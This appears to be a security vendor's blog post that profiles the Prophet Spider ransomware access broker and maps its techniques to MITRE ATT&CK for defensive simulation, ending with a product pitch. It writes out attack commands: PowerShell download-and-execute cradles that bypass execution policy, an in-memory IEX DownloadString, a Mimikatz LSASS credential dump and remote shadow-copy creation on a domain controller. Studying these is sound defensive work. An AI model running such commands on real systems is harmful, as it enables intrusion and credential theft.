Prophet Spider is a financially motivated intrusion group active since at least 2017. It operates as an initial access broker within the ransomware economy. Rather than deploying ransomware directly, the group compromises corporate networks and sells or rents access to affiliates linked to operations like Conti, Ryuk, and BlackCat (ALPHV).
Prophet Spider primarily targets organizations in North America and Europe, exploiting vulnerabilities in internet-facing applications such as Oracle WebLogic and Apache Tomcat. Once inside, it deploys web shells, steals credentials, and uses tools like PowerShell and Cobalt Strike for reconnaissance and lateral movement.
The group’s motive is purely commercial. By maintaining stealth, covering traces, and reusing infrastructure across campaigns, Prophet Spider has become a critical enabler for large-scale ransomware attacks, representing the organized, profit-driven side of modern cybercrime.
In this blog, we examine Prophet Spider’s intrusion campaigns mapped to the MITRE ATT&CK framework.
Prophet Spider is known to download customized tools and malicious binaries using PowerShell’s Invoke-WebRequest utility.
|
powershell.exe Invoke-WebRequest -Uri "%remotefile-9786%" -OutFile "$Env:TMP\dummy.exe" |
The payload downloads a remote binary into a writable temp location using PowerShell’s web request utility, then stages it for later execution. This compact transfer mirrors how attackers fetch tools while blending with normal outbound traffic.
The designed payload leverages:
Thus, this payload safely simulates an ingress tool transfer (download → stage), allowing defenders to observe the same runtime artifacts (outbound HTTP fetch, requested URL, staged file path, and associated process command line) in a controlled manner.
Prophet Spider is known to query DNS for command-and-control hostnames using the nslookup utility.
|
nslookup.exe ping.attack.picusops.io |
The payload performs a DNS lookup for a C2 hostname, turning hostname resolution into a signal that a remote controller may be reachable while leaving minimal on-disk artifacts.
It leverages:
This payload safely simulates a DNS-based C2 lookup so defenders can observe runtime artifacts, DNS queries, queried hostnames, resolver chain, and process → network correlation, without contacting a live malicious server.
Prophet Spider is known to download and execute payloads using PowerShell.
|
powershell.exe -executionpolicy bypass -noprofile -w hidden $var = new-Object System.Net.webClient; $var.Headers['User-Agent']='Windows'; $var.downloadfile('%remotefile-16645%', '%temp%\dummy.exe'); & start %temp%\dummy.exe |
The payload fetches a binary from the internet, stages it in a writable temp location, and launches it immediately, all in one compact PowerShell invocation that minimizes noise and avoids profile/policy checks.
It leverages:
The designed payload safely simulates an end-to-end staging-and-launch sequence.
Prophet Spider is known to execute in-memory PowerShell scripts using the DownloadString + Invoke-Expression pattern.
|
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.Webclient).downloadstring('%remotefile-9776%')" |
The payload fetches a script over HTTP(S) and runs it directly in memory without writing a file to disk, avoiding many traditional forensic artifacts and reducing cleanup effort.
It relies on;
The Prophet Spider e-crime group has been observed creating a new service called “windowsinspectionupdate” to stage and launch a payload via a trusted system binary.
|
#Process 1 |
The sequence creates a Windows service that stages and launches a payload via a trusted system binary, persists across reboots, and presents benign metadata to reduce suspicion.
It leverages:
So this sequence safely simulates service-based persistence so defenders can observe the same runtime artifacts (service registry entries, service arguments, detached parent → child process relationships, and staged file paths) without installing or running real malicious software.
Prophet Spider leverages the well-known Mimikatz tool to dump LSASS memory.
|
%TMP%\mimikatz.exe privilege::debug sekurlsa::logonPasswords exit |
The payload attempts to extract credentials from LSASS memory using Mimikatz, producing plaintext credentials, NTLM/LM hashes, and Kerberos tickets if present, a direct, high-impact credential-access technique.
It leverages:
This payload command safely simulates LSASS memory credential dumping, letting defenders can observe the same runtime artifacts (process handles to lsass.exe, SeDebugPrivilege elevation, anomalous process memory reads, and resulting credential artifacts) without using real stolen credentials.
Prophet Spider is known to create shadow copies on domain controllers using the vssadmin utility.
|
Powershell.exe -c $domainController = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).DomainControllers | Where-Object { $_.Roles -contains 'PDCRole' } | Select-Object -ExpandProperty Name; Invoke-Command -ComputerName $domainController -ScriptBlock { $shadowCopy = vssadmin create shadow /for=C:; $shadowCopy.Path } | ForEach-Object { $_ | Out-File -FilePath "$env:TMP\CarbonCopy.tmp" -Append -Force; if ($LASTEXITCODE -eq 0) { Write-Host "[+] Successful!" } } |
The payload remotely invokes vssadmin create shadow on a domain controller, captures the command output to a temp file, and reports success, simulating attacker activity that touches Volume Shadow Copy Service (VSS) on a high-value host without actually harming production recovery data.
It leverages:
So this payload safely simulates remote VSS activity on a domain controller so defenders can observe the same runtime and network artifacts (AD lookup, WinRM/PowerShell remoting, vssadmin invocation, shadow-copy responses, and temp-file artifacts) without disrupting real recovery points.
The Picus Security Validation Platform safely simulates Prophet Spider e-crime threat group’s Windows endpoint campaigns, replicating the malware’s new plug-in functionality for validation purposes. Through the Picus Threat Library, it replicates the tactics, techniques, and procedures (TTPs) observed in these campaigns to reveal detection and prevention gaps across EDR, NGFW, and SIEM technologies, before adversaries can exploit them.
You can also test your defenses against hundreds of other threat actors, such as Salt Typhoon APT, APT28, Lazarus APT, within minutes with a 14-day free trial of the Picus Platform.
|
Threat ID |
Threat Name |
Attack Module |
|
67113 |
Prophet Spider Threat Group Campaign |
Windows Endpoint |